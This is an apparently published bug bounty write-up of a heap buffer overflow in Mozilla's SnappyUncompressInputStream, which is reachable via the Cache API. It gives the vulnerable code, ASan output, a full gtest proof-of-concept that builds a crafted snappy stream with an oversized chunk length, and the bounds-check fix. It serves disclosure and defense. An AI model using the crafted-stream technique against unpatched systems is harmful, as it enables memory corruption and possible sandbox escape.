SnappyUncompressInputStream Oversized Chunk Heap Buffer Overflow
A snappy decompression stream parser trusted a 24-bit chunk length from the input and copied that many bytes into a fixed-size buffer, with only a debug assertion guarding the size. An attacker could craft a snappy stream that overflows the heap buffer, potentially leading to memory corruption.
Originally disclosed on Mozilla
- Fixed in 15 days
- Paid in 20 days
- Disclosed after 15 days
Compromised content process -> parent process via Cache API (CacheReadStream).
SnappyUncompressInputStream::ParseNextChunk (SnappyUncompressInputStream.cpp:289-304) reads mNextChunkDataLength from a 24-bit snappy frame header field (up to ~16MB) and passes it to ReadAll(mCompressedBuffer.get(), readLength, ...). The buffer is fixed at ~76KB (CompressedBufferLength()). The only guard is MOZ_ASSERT(readLength <= CompressedBufferLength()) at line 290, compiled out in release. A crafted snappy stream with chunk length 200000 writes 123502 bytes past the buffer.
The Bug
SnappyUncompressInputStream.cpp:289-304:
uint32_t readLength = mNextChunkDataLength;
MOZ_ASSERT(readLength <= CompressedBufferLength()); // debug-only
rv = ReadAll(mCompressedBuffer.get(), readLength, mNextChunkDataLength,
aBytesReadOut);
mCompressedBuffer allocated once at line 212-213 at CompressedBufferLength() (~76498 bytes for kBlockSize=65536). mNextChunkDataLength comes from ParseHeader (SnappyFrameUtils.cpp:147) which reads a 24-bit little-endian length from the frame header, allowing up to ~16MB.
IPC entry: CachePutAll wraps attacker streams in SnappyUncompressInputStream at ReadStream.cpp:181 when control is non-null. Consumed during body storage via CachePutAllAction (Manager.cpp:1063).
ASAN Proof
==94870==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6310000b32d2
WRITE of size 200000 at 0x6310000b32d2 thread T0
#0 in __asan_memcpy
#1 in NS_CopySegmentToBuffer
#2 in nsStringInputStream::ReadSegments
#3 in mozilla::SnappyUncompressInputStream::ReadAll
#4 in mozilla::SnappyUncompressInputStream::ParseNextChunk
0x6310000b32d2 is located 0 bytes after 76498-byte region [0x6310000a0800,0x6310000b32d2)
SUMMARY: AddressSanitizer: heap-buffer-overflow in NS_CopySegmentToBuffer
Note: debug builds have MOZ_ASSERT that masks the overflow. ASan output above obtained by temporarily disabling the assert to simulate release behavior.
PoC
xpcom/tests/gtest/TestSnappyStreamOverflow.cpp:
/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
/* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
#include "gtest/gtest.h"
#include "mozilla/SnappyUncompressInputStream.h"
#include "nsCOMPtr.h"
#include "nsIInputStream.h"
#include "nsStringStream.h"
#include <cstring>
using namespace mozilla;
static nsCString BuildOversizedSnappyStream(uint32_t aChunkDataLength) {
// Stream identifier: type=0xff, length=6 (LE), data="sNaPpY"
const uint8_t streamId[] = {
0xff, 0x06, 0x00, 0x00,
0x73, 0x4e, 0x61, 0x50, 0x70, 0x59,
};
// Compressed data chunk header: type=0x00, length=aChunkDataLength (24-bit LE)
uint8_t chunkHeader[4];
chunkHeader[0] = 0x00;
chunkHeader[1] = (aChunkDataLength >> 0) & 0xff;
chunkHeader[2] = (aChunkDataLength >> 8) & 0xff;
chunkHeader[3] = (aChunkDataLength >> 16) & 0xff;
nsCString result;
result.Append(reinterpret_cast<const char*>(streamId), sizeof(streamId));
result.Append(reinterpret_cast<const char*>(chunkHeader), sizeof(chunkHeader));
nsCString filler;
filler.SetLength(aChunkDataLength);
memset(filler.BeginWriting(), 'X', aChunkDataLength);
result.Append(filler);
return result;
}
TEST(SnappyStreamOverflow, OversizedChunkLengthHeapOverflow)
{
// CompressedBufferLength() ~ 76498 bytes. Use 200000 to overflow.
const uint32_t kOversizedLength = 200000;
nsCString crafted = BuildOversizedSnappyStream(kOversizedLength);
nsCOMPtr<nsIInputStream> base;
NS_NewCStringInputStream(getter_AddRefs(base), crafted);
RefPtr<SnappyUncompressInputStream> snappyStream =
new SnappyUncompressInputStream(base);
char outBuf[64];
uint32_t bytesRead = 0;
// ASan: heap-buffer-overflow WRITE of size 200000 into 76498-byte buffer
nsresult rv = snappyStream->Read(outBuf, sizeof(outBuf), &bytesRead);
(void)rv;
(void)bytesRead;
}
Run: ./mach gtest "SnappyStreamOverflow.*"
Fix
Replace MOZ_ASSERT with an actual bounds check:
uint32_t readLength = mNextChunkDataLength;
if (readLength > CompressedBufferLength()) {
return NS_ERROR_CORRUPTED_CONTENT;
}
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The code used a debug-only assertion to check the chunk length against the buffer size, but in release builds the assertion is removed, leaving no bounds check before copying attacker-controlled data.
Impact
A crafted snappy stream could cause a heap buffer overflow, potentially leading to memory corruption and code execution.
What the attacker needed
Ability to supply a crafted snappy stream to the vulnerable…
The fix
Replace the debug-only assertion with a runtime bounds check that returns an error if the chunk length exceeds the buffer size.
How it was found
- Craft a snappy stream with a chunk header specifying a length larger than the buffer size.
- Wrap the stream in a SnappyUncompressInputStream.
- Call Read on the stream, which triggers ParseNextChunk and copies the oversized chunk into the fixed buffer.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Snappy is a compression format. The code reads a length from the compressed data and copies that many bytes into a buffer that is always about 76 KB. Because the length can be up to 16 MB, the copy goes past the end of the buffer, corrupting memory. This is dangerous because an attacker who controls the compressed data can write beyond the intended area.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.